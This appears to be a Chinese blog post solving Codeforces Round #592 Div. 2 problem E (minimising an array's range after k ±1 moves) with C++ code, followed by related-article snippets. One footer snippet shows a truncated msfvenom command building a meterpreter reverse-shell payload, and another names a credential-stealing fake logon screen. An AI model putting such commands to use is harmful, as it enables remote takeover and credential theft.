Codeforces Round #592 (Div. 2) E

给你一个数组,你最多可以进行k次操作,每次操作可以使一个数+1或者-1,问操作之后数组的极差最小可能是多少
利用map来模拟移动,可以观察到每次应该选择数量少的一组数让他们进行移动是最优的
int main(){
int n;
ll k;
cin >> n >> k;
vector<int> a(n);
map<int,int> ls;
for(int i = 0 ; i < n ; i++)
cin >> a[i],ls[a[i]]++;
while(ls.size() > 1) {
auto l = ls.begin();
auto r = ls.end();
--r;
auto nl = ++l;
--l;
auto nr = --r;
r++;
if(l->se <= r-> se) {
ll cost = l->se * 1ll * (nl->fi - l->fi);
if(k <= cost) break;
k -= cost;
nl->se += l->se;
ls.erase(l);
}
else {
ll cost = r->se * 1ll * (r->fi - nr->fi);
if(k <= cost) break;
k -= cost;
nr->se += r->se;
ls.erase(r);
}
}
int c1 = ls.begin()->se;
int c2 = ls.rbegin()->se;
int mins = k / min(c1 , c2);
cout << max(0 , ls.rbegin()->fi - ls.begin()->fi - mins) << endl;
}
Codeforces Round #592 (Div. 2) E的更多相关文章
- Codeforces Round #592 (Div. 2)
A. Pens and Pencils 题目链接:https://codeforces.com/contest/1244/problem/A 题意: 给定五个数 a , b , c , d , k 求 ...
- Codeforces Round #592 (Div. 2) D - Paint the Tree
题目链接:https://codeforces.com/contest/1244/problem/D 题意:给你一个树,让你把树上的每个节点染成三种颜色,使得任意三个互相相邻的节点颜色都不一样(意思是 ...
- Codeforces Round #592 (Div. 2)【C题】{补题ING}
思路:x,y,z肯定不为负数xw+dy=p,直接枚举系数较小的y即可,y的范围:y<w,因为大于w的时候,不如去增加x,这样x+y的和还能保持尽可能小. /* x*w+y*d=p; x*w+(K ...
- Codeforces Round #592 (Div. 2)G(模拟)
#define HAVE_STRUCT_TIMESPEC#include<bits/stdc++.h>using namespace std;long long a[1000007],b[ ...
- Codeforces Round #366 (Div. 2) ABC
Codeforces Round #366 (Div. 2) A I hate that I love that I hate it水题 #I hate that I love that I hate ...
- Codeforces Round #354 (Div. 2) ABCD
Codeforces Round #354 (Div. 2) Problems # Name A Nicholas and Permutation standard input/out ...
- Codeforces Round #368 (Div. 2)
直达–>Codeforces Round #368 (Div. 2) A Brain’s Photos 给你一个NxM的矩阵,一个字母代表一种颜色,如果有”C”,”M”,”Y”三种中任意一种就输 ...
- cf之路,1,Codeforces Round #345 (Div. 2)
cf之路,1,Codeforces Round #345 (Div. 2) ps:昨天第一次参加cf比赛,比赛之前为了熟悉下cf比赛题目的难度.所以做了round#345连试试水的深浅..... ...
- Codeforces Round #279 (Div. 2) ABCDE
Codeforces Round #279 (Div. 2) 做得我都变绿了! Problems # Name A Team Olympiad standard input/outpu ...
随机推荐
- Docker容器到底是什么?
Docker是一个开源的应用容器引擎,是近些年最火的技术之一,Docker公司从Docker项目开源之后发家致富把公司商标改为了Docker,收购了fit项目,整合为了docker-compose,前 ...
- 实例探究Aspectj,解析SentinelResourceAspect
为了学习SentinelResourceAspect,这篇文章里我用Aspectj实现一个AOP实例,一起来看下. Sentinel 提供了 @SentinelResource 注解用于定义资源,支持 ...
- 都闪开,不用任何游戏引擎,html也能开发格斗游戏
html格斗游戏,对打游戏 不用引擎,不用画布canvas,不用任何库(包括jquery), 原生div+img组件,开发格斗游戏游戏教程视频已经上传 b站:https://www.bilibili. ...
- Python socket 基础(Client) - Foundations of Python Socket
Python socket 基础- Foundations of Python Socket 建立socket - establish socket import socket s = socket. ...
- php 绘制验证码 示例
<?php header("content-type:image/jpeg"); session_start();//开启session //宽高 字体大小 $width=1 ...
- ELF文件之二——使用链接脚本
main.c int main() { ; } 编译:sparc-elf-gcc.exe -c main.c -o main.o 链接:sparc-elf-ld.exe main.o -nostart ...
- 杭电-------2032杨辉三角(C语言写)
#include<stdio.h> ][] = { }; void init() { int i, j; ; i < ; i++) { a[i][] = ; a[i][i] = ; ...
- FakeLogonScreen抓取Windows凭证
FakeLogonScreen抓取Windows凭证 实践中使用的配置 攻击者: 操作系统: Kali Linux 2020.1 IP: 192.168.1.13 目标: 作业系统: Windows ...
- Python Flask 开发学习笔记
Flask学习 安装pipenv虚拟环境 pip Install pipenv 运行pipenv pipenv --version 进入虚拟容器 pipenv install 安装flask pipe ...
- msf制作反弹shell
msf制作shell 1 .制作反弹shell-exe文件 执行命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LP ...